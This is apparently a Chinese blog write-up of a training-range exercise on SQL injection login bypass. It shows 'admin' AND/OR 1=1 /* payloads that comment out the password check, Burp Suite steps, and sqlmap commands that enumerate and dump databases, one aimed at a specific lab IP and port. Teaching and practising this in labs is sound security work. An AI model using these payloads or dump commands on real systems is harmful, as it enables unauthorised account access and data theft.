首页 > 技术文章 > SQL注入漏洞测试(登录绕过)

jasy 2020-05-07 12:34 原文

原理

   服务端后台存在类似的代码

 SELECT * FROM accounts WHERE username='admin' and password = 'password'

   后端如果没做校验处理,username 和 password 值从前端传进来直接执行sql语句,就存在可以构造恶意代码。

  如果在用户名框内输入"admin' AND 1=1 /*", 在密码框内输入任意字符串,那么后台执行的SQL就为

 SELECT * FROM accounts WHERE username='admin' and 1=1 /*' and password = 'password'

  这个有个前提条件是username是admin,如果不是amdin的话可以把and 换成 or

SELECT * FROM accounts WHERE username='admin' OR 1=1 /*' and password = 'password'

 

 

1、用任意用户名和口令登陆并用burpsuite抓包
2、用户名处使用万能密码登陆成功获取flag(密码不用输了,因为后面的已经被注释)
image.png

image.png

 

也可用sqlmap工具

sqlmap.py -u http://219.153.49.228:40363 --forms --dbs

 

 

 

本题还可以使用sqlmap进行注入

暴库 sqlmap -u "http://ip/" --forms --dbs

爆表sqlmap -u "http://ip" --forms -d "数据库名" --columns

爆账户sqlmap -u "ip" --forms -d "数据库名" --dump

解密即可获取用户名密码,登录后得到key

 

参考:
【经验分享】后台常用的万能密码_数据库_weixin_34297704的博客-CSDN博客 

SQL注入漏洞测试(登录绕过)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 

推荐阅读